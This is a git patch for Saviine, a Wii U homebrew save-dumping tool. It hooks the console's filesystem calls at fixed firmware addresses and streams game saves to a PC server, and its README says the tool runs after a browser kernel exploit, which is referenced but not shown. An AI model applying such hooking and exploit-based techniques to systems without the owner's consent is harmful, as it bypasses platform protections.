From a25fcc1e39c573b79d1499b097a12b66c1ecfaed Mon Sep 17 00:00:00 2001 From: Maschell Date: Sat, 17 Oct 2015 17:51:24 +0200 Subject: [PATCH] Fixed a lot of games new entry point added fast/normal mode --- README | 12 +- saviine/client/main.c | 191 +++++++++------- saviine/client/main.h | 2 +- saviine/client/saviine.c | 23 +- saviine/client/saviine532.ld | 8 +- saviine/server/fastmode.bat | 1 + saviine/server/saviine_server.exe | Bin 26624 -> 27136 bytes saviine/server/src/Program.cs | 36 ++- ...gnTimeResolveAssemblyReferencesInput.cache | Bin 6190 -> 0 bytes ...saviine_server.csproj.FileListAbsolute.txt | 6 - ...erver.csprojResolveAssemblyReference.cache | Bin 4634 -> 0 bytes .../src/obj/x86/Debug/saviine_server.exe | Bin 26624 -> 0 bytes .../src/obj/x86/Debug/saviine_server.pdb | Bin 65024 -> 0 bytes saviine/server/src/saviine_server.v12.suo | Bin 22016 -> 24576 bytes www/saviine/payload532.html | 214 +++++++++--------- 15 files changed, 280 insertions(+), 213 deletions(-) create mode 100644 saviine/server/fastmode.bat delete mode 100644 saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache delete mode 100644 saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt delete mode 100644 saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache delete mode 100644 saviine/server/src/obj/x86/Debug/saviine_server.exe delete mode 100644 saviine/server/src/obj/x86/Debug/saviine_server.pdb diff --git a/README b/README index 1cb6622..5b1c273 100644 --- a/README +++ b/README @@ -1,12 +1,12 @@ -Saviine 0.1 +Saviine 0.2 Compatible with 5.3.2 fw dumps WiiU Saves and is a mod of cafiine. Thanks to everyone who worked on cafiine! Compilation : -- in order to compile cafiine you need to put the cafiine folder in your libwiiu project -- libwiiu/cafiine/installer must be compiled like the other libwiiu examples (with the build.py script) +- in order to compile saviine you need to put the saviine folder in your libwiiu project +- libwiiu/saviine/installer must be compiled like the other libwiiu examples (with the build.py script) Pre-made version : - in www/saviine, it is already compiled, just put the folder in your server @@ -15,10 +15,16 @@ Note : - you can change the server ip directly in the application. - start the saviine in folder with a short path, some savedata files have some really long names (170+ chracters) - backup your savedata before dumping it!!! I'm not responsible for any lost data. +- fastmode doesn't work for all games. How to use : +Usage: +Normal mode: saviine_server.exe +Fast mode: saviine_server.exe fastmode + - launch the kernel exploit in the brower - open saviine server in your computer, check your ip +(you can start the server in fastmode (faster dumper), this doesn't work for all games. Only use it when the savegame is really big (e.g. Super Smash Bros for WiiU) ) - relaunch browser and launch saviine app, set saviine server ip in the application with up/down/left/right, and press A to install saviine -> browser should exit - launch a game or application diff --git a/saviine/client/main.c b/saviine/client/main.c index 16dfe4c..20b88af 100644 --- a/saviine/client/main.c +++ b/saviine/client/main.c @@ -15,7 +15,18 @@ extern FSStatus FSCloseDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSRetFla extern FSStatus FSReadFile(FSClient *pClient, FSCmdBlock *pCmd, void *buffer, int size, int count, int fd, int flag, int error); extern FSStatus FSSetPosFile(FSClient *pClient, FSCmdBlock *pCmd, int fd, int pos, int error); extern FSStatus FSCloseFile (FSClient *pClient, FSCmdBlock *pCmd, int fd, int error); -extern FSStatus FSOpenFile(FSClient *pClient, FSCmdBlock *pCmd, char *path, const char *mode, int *handle, int error); +extern void OSDynLoad_Acquire (char* rpl, unsigned int *handle); +extern void OSDynLoad_FindExport (unsigned int handle, int isdata, char *symbol, void *address); +void GX2WaitForVsync(void); +static void dump_saves(void *pClient, void *pCmd,int error, int client); +// Async +typedef void (*FSAsyncCallback)(void *pClient, void *pCmd, int result, void *context); +typedef struct +{ + FSAsyncCallback userCallback; + void *userContext; + void *ioMsgQueue; +} FSAsyncParams; DECL(int, FSAInit, void) { if ((int)bss_ptr == 0x0a000000) { @@ -43,9 +54,6 @@ DECL(int, FSADelClient, int client) { return real_FSADelClient(client); } -DECL(int, FSAOpenFile, int client, const char *path, const char *mode, int *handle) { - return real_FSAOpenFile(client, path, mode, handle); -} static int client_num_alloc(void *pClient) { int i; @@ -57,9 +65,11 @@ static int client_num_alloc(void *pClient) { } return -1; } + static void clietn_num_free(int client) { bss.pClient_fs[client] = 0; } + static int client_num(void *pClient) { int i; @@ -69,12 +79,53 @@ static int client_num(void *pClient) { return -1; } +DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error) { + + if ((int)bss_ptr != 0x0a000000) { + int client = client_num(pClient); + if (client < MAX_CLIENT && client >= 0) { + if(bss.savesDumped == 0){ + dump_saves(pClient,pCmd,error,client); + bss.savesDumped = 1; + } + } + } -struct fs_async_t { - void (*callback)(int status, int command, void *request, void *response, void *context); - void *context; - void *queue; -}; + return real_FSOpenFile(pClient, pCmd, path, mode, handle, error); +} + +static void init_Save(){ + int (*SAVEInit)(); + unsigned int save_handle; + char buffer[50]; + int i = 0; + buffer[i++] = 'n'; + buffer[i++] = 'n'; + buffer[i++] = '_'; + buffer[i++] = 's'; + buffer[i++] = 'a'; + buffer[i++] = 'v'; + buffer[i++] = 'e'; + buffer[i++] = '.'; + buffer[i++] = 'r'; + buffer[i++] = 'p'; + buffer[i++] = 'l'; + buffer[i++] = '\0'; + OSDynLoad_Acquire(buffer, &save_handle); + i = 0; + buffer[i++] = 'S'; + buffer[i++] = 'A'; + buffer[i++] = 'V'; + buffer[i++] = 'E'; + buffer[i++] = 'I'; + buffer[i++] = 'n'; + buffer[i++] = 'i'; + buffer[i++] = 't'; + buffer[i++] = '\0'; + + OSDynLoad_FindExport(save_handle, 0, buffer, &SAVEInit); + SAVEInit(); +} #define DUMP_BLOCK_SIZE (0x200 * 100) #define DUMP_BLOCK_SIZE_SLOW (0x20 * 100) @@ -89,7 +140,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, new_mode[1] = '\0'; FSDirEntry dir_entry; - while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK) + while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK) { char full_path[255]; int i=0; @@ -105,6 +156,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, full_path[i++] = '\0'; log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR); + if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){ char type[4]; type[0] = 'd'; @@ -112,7 +164,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, type[2] = 'r'; type[3] = '\0'; log_string(bss.socket_fsa[client], type, BYTE_LOG_STR); - dump_dir(pClient,client,pCmd,full_path,error,my_handle); + dump_dir(pClient,client, pCmd,full_path,-1,my_handle); }else{ char type[5]; type[0] = 'f'; @@ -121,70 +173,38 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, type[3] = 'e'; type[4] = '\0'; log_string(bss.socket_fsa[client], type, BYTE_LOG_STR); + //DUMP - ret = FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, error); - if (ret >= 0) { - int my_ret = 1; + ret = real_FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, FS_RET_ALL_ERROR); + if (ret >= 0) { + int my_ret = cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle); log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR); + int size = (my_ret == 1 ? DUMP_BLOCK_SIZE : DUMP_BLOCK_SIZE_SLOW); - cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle); - void* buffer = memalign(sizeof(char) * size, 0x40); - int ret2; - while ((ret2 = FSReadFile(pClient, pCmd, buffer, 1, size, my_handle, 0, error)) > 0) + void * buffer = memalign(sizeof(char) * size, 0x40); + int ret2; + while ((ret2 = FSReadFile(pClient, pCmd, buffer, 1, size, my_handle, 0, 0)) > 0) cafiine_send_file(bss.socket_fsa[client], buffer, ret2, my_handle); - cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle); - FSSetPosFile(pClient, pCmd, my_handle, 0, error); + cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle); + FSSetPosFile(pClient, pCmd, my_handle, 0, FS_RET_ALL_ERROR); free(buffer); - FSCloseFile(pClient, pCmd, my_handle, -1); - } - } + FSCloseFile(pClient, pCmd, my_handle, -1); + }else{ + type[0] = '9' + ret; + type[1] = '0'; + log_string(bss.socket_fsa[client], type, BYTE_LOG_STR); + } + } + } - FSCloseDir(pClient, pCmd, dir_handle, FS_RET_NO_ERROR); - }else{ - /* - char error[3]; - error[0] = '-'; - error[1] = (ret*-1) + '0'; - error[2] = '\0'; */ - //log_string(bss.socket_fsa[client], foo, BYTE_LOG_STR); - return -1; - } + FSCloseDir(pClient, pCmd, dir_handle, FS_RET_NO_ERROR); + } return 0; } -DECL(int, FSInit, void) { - if ((int)bss_ptr == 0x0a000000) { - bss_ptr = memalign(sizeof(struct bss_t), 0x40); - memset(bss_ptr, 0, sizeof(struct bss_t)); - } - return real_FSInit(); -} -DECL(int, FSShutdown, void) { - return real_FSShutdown(); -} -DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) { - int res = real_FSAddClientEx(r3, r4, r5); - - if ((int)bss_ptr != 0x0a000000 && res >= 0) { - int client = client_num_alloc(r3); - if (client < MAX_CLIENT && client >= 0) { - cafiine_connect(&bss.socket_fs[client]); - } - } - return res; -} -DECL(int, FSDelClient, void *pClient) { - if ((int)bss_ptr != 0x0a000000) { - int client = client_num(pClient); - if (client < MAX_CLIENT && client >= 0) { - cafiine_disconnect(bss.socket_fs[client]); - clietn_num_free(client); - } - } - return real_FSDelClient(pClient); -} - static void dump_saves(void *pClient, void *pCmd,int error, int client){ + init_Save(); + int i = 0; char save_path[255]; char save_user[9]; @@ -238,7 +258,7 @@ static void dump_saves(void *pClient, void *pCmd,int error, int client){ int id = 1; do{ //log_string(bss.socket_fsa[client], save_path, BYTE_LOG_STR); - if (dump_dir(pClient,client,pCmd,save_path,error,50) == 0);// id = 257; // break if successful + if (dump_dir(pClient,client,pCmd,save_path,-1,50) == 0);// id = 257; // break if successful int first = id/16; int seconds = id%16; if(first <= 9) @@ -276,18 +296,36 @@ static void dump_saves(void *pClient, void *pCmd,int error, int client){ log_string(bss.socket_fsa[client], info, BYTE_LOG_STR); } -DECL(int, FSGetStat, void *pClient, void *pCmd, char *path, void *stats, int error) { +DECL(int, FSInit, void) { + if ((int)bss_ptr == 0x0a000000) { + bss_ptr = memalign(sizeof(struct bss_t), 0x40); + memset(bss_ptr, 0, sizeof(struct bss_t)); + } + return real_FSInit(); +} +DECL(int, FSShutdown, void) { + return real_FSShutdown(); +} +DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) { + int res = real_FSAddClientEx(r3, r4, r5); + + if ((int)bss_ptr != 0x0a000000 && res >= 0) { + int client = client_num_alloc(r3); + if (client < MAX_CLIENT && client >= 0) { + cafiine_connect(&bss.socket_fs[client]); + } + } + return res; +} +DECL(int, FSDelClient, void *pClient) { if ((int)bss_ptr != 0x0a000000) { int client = client_num(pClient); - if (client < MAX_CLIENT && client >= 0) { - if(bss.savesDumped == 0){ - dump_saves(pClient,pCmd,error,client); - bss.savesDumped = 2; - } - } + cafiine_disconnect(bss.socket_fs[client]); + clietn_num_free(client); + } } - return real_FSGetStat(pClient, pCmd, path, stats, error); + return real_FSDelClient(pClient); } #define MAKE_MAGIC(x) { x, my_ ## x, &real_ ## x } @@ -300,9 +338,8 @@ struct magic_t { MAKE_MAGIC(FSAInit), MAKE_MAGIC(FSAShutdown), MAKE_MAGIC(FSAAddClient), - MAKE_MAGIC(FSADelClient), - MAKE_MAGIC(FSAOpenFile), - MAKE_MAGIC(FSGetStat), + MAKE_MAGIC(FSADelClient), + MAKE_MAGIC(FSOpenFile), MAKE_MAGIC(FSInit), MAKE_MAGIC(FSShutdown), MAKE_MAGIC(FSAddClientEx), diff --git a/saviine/client/main.h b/saviine/client/main.h index f21c115..b3fef77 100644 --- a/saviine/client/main.h +++ b/saviine/client/main.h @@ -55,7 +55,7 @@ struct bss_t { void cafiine_connect(int *socket); void cafiine_disconnect(int socket); int cafiine_fopen(int socket, int *result, const char *path, const char *mode, int *handle); -void cafiine_send_handle(int sock, int client, const char *path, int handle); +int cafiine_send_handle(int sock, int client, const char *path, int handle); void cafiine_send_file(int sock, char *file, int size, int fd); int cafiine_fread(int socket, int *result, void *buffer, int size, int count, int fd); int cafiine_fclose(int socket, int *result, int fd); diff --git a/saviine/client/saviine.c b/saviine/client/saviine.c index ba9110b..409a643 100644 --- a/saviine/client/saviine.c +++ b/saviine/client/saviine.c @@ -18,8 +18,8 @@ static int cafiine_handshake(int sock); //#define BYTE_STATFILE 0x05 //#define BYTE_EOF 0x06 //#define BYTE_GETPOS 0x07 -//#define BYTE_REQUEST 0x08 -//#define BYTE_REQUEST_SLOW 0x09 +#define BYTE_REQUEST 0x08 +#define BYTE_REQUEST_SLOW 0x09 #define BYTE_HANDLE 0x0A #define BYTE_DUMP 0x0B #define BYTE_PING 0x0C @@ -80,11 +80,11 @@ error: } -void cafiine_send_handle(int sock, int client, const char *path, int handle) +int cafiine_send_handle(int sock, int client, const char *path, int handle) { while (bss.lock) GX2WaitForVsync(); bss.lock = 1; - + CHECK_ERROR(sock == -1); // create and send buffer with : [cmd id][handle][path length][path data ...] @@ -104,14 +104,23 @@ void cafiine_send_handle(int sock, int client, const char *path, int handle) ret = sendwait(sock, buffer, 1 + 4 + 4 + len_path); CHECK_ERROR(ret < 0); - // wait reply + // wait reply ret = recvbyte(sock); - CHECK_ERROR(ret != BYTE_SPECIAL); + if(ret == BYTE_REQUEST){ + ret = 1; + }else{ + ret = 2; + } + // wait reply + int special_ret = recvbyte(sock); + CHECK_ERROR(special_ret != BYTE_SPECIAL); + bss.lock = 0; + return ret; } error: bss.lock = 0; - return; + return -1; } void cafiine_send_file(int sock, char *file, int size, int fd) { diff --git a/saviine/client/saviine532.ld b/saviine/client/saviine532.ld index b3e8378..ee802ed 100644 --- a/saviine/client/saviine532.ld +++ b/saviine/client/saviine532.ld @@ -29,6 +29,8 @@ PROVIDE(FSShutdown = 0x1068538); PROVIDE(FSAddClientEx = 0x10685fc); PROVIDE(FSDelClient = 0x1068a08); PROVIDE(FSOpenFile = 0x106ef7c); +PROVIDE(FSOpenFileAsync = 0x0106a434); + PROVIDE(FSCloseFile = 0x106f088); PROVIDE(FSReadFile = 0x106f108); PROVIDE(FSReadFileWithPos = 0x106f194); @@ -67,4 +69,8 @@ PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0); PROVIDE(MEMFreeToDefaultHeap = 0x100b487c); /* OS data */ -PROVIDE(title_id = 0x100136D0); \ No newline at end of file +PROVIDE(title_id = 0x100136D0); + +/* Libs */ +PROVIDE(OSDynLoad_FindExport = 0x102b790); +PROVIDE(OSDynLoad_Acquire = 0x102a31c); \ No newline at end of file diff --git a/saviine/server/fastmode.bat b/saviine/server/fastmode.bat new file mode 100644 index 0000000..449152e --- /dev/null +++ b/saviine/server/fastmode.bat @@ -0,0 +1 @@ +saviine_server.exe fastmode \ No newline at end of file diff --git a/saviine/server/saviine_server.exe b/saviine/server/saviine_server.exe index dab81314f89b8c3faf02f496b56e6d2101c32cbb..e0be4f6f6baee6c823f6458e034aae7050ba6dc9 100644 GIT binary patch delta 8383 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 diff --git a/saviine/server/src/Program.cs b/saviine/server/src/Program.cs index ae0477b..72959a4 100644 --- a/saviine/server/src/Program.cs +++ b/saviine/server/src/Program.cs @@ -21,8 +21,8 @@ namespace saviine_server //public const byte BYTE_STATFILE = 0x05; //public const byte BYTE_EOF = 0x06; //public const byte BYTE_GETPOS = 0x07; - //public const byte BYTE_REQUEST = 0x08; - //public const byte BYTE_REQUEST_SLOW = 0x09; + public const byte BYTE_REQUEST = 0x08; + public const byte BYTE_REQUEST_SLOW = 0x09; public const byte BYTE_HANDLE = 0x0A; public const byte BYTE_DUMP = 0x0B; public const byte BYTE_PING = 0x0C; @@ -74,17 +74,22 @@ namespace saviine_server public static string logs_root = "logs"; const uint BUFFER_SIZE = 64 * 1024; - + static Boolean fastmode = false; static void Main(string[] args) { if (args.Length > 1) { - Console.Error.WriteLine("Usage: saviine_server [rootdir]"); + Console.Error.WriteLine("Usage: saviine_server [fastmode|fast]"); return; } if (args.Length == 1) { - root = args[0]; + if (args[0].Equals("fastmode") || args[0].Equals("fast") || args[0].Equals("-fast")) + { + fastmode = true; + Console.WriteLine("Now using fastmode"); + } + } // Check for cafiine_root and logs folder if (!Directory.Exists(root)) @@ -156,9 +161,7 @@ namespace saviine_server uint[] ids = reader.ReadUInt32s(4); - // Log connection - Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString()); - Console.WriteLine(name + " TitleID: " + ids[0].ToString("X8") + "-" + ids[1].ToString("X8")); + string LocalRoot = root + "\\" + ids[0].ToString("X8") + "-" + ids[1].ToString("X8") + "\\"; @@ -174,6 +177,9 @@ namespace saviine_server Directory.CreateDirectory(LocalRoot); } } + // Log connection + Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString()); + Console.WriteLine(name + " TitleID: " + ids[0].ToString("X8") + "-" + ids[1].ToString("X8")); // Create log file for current thread log 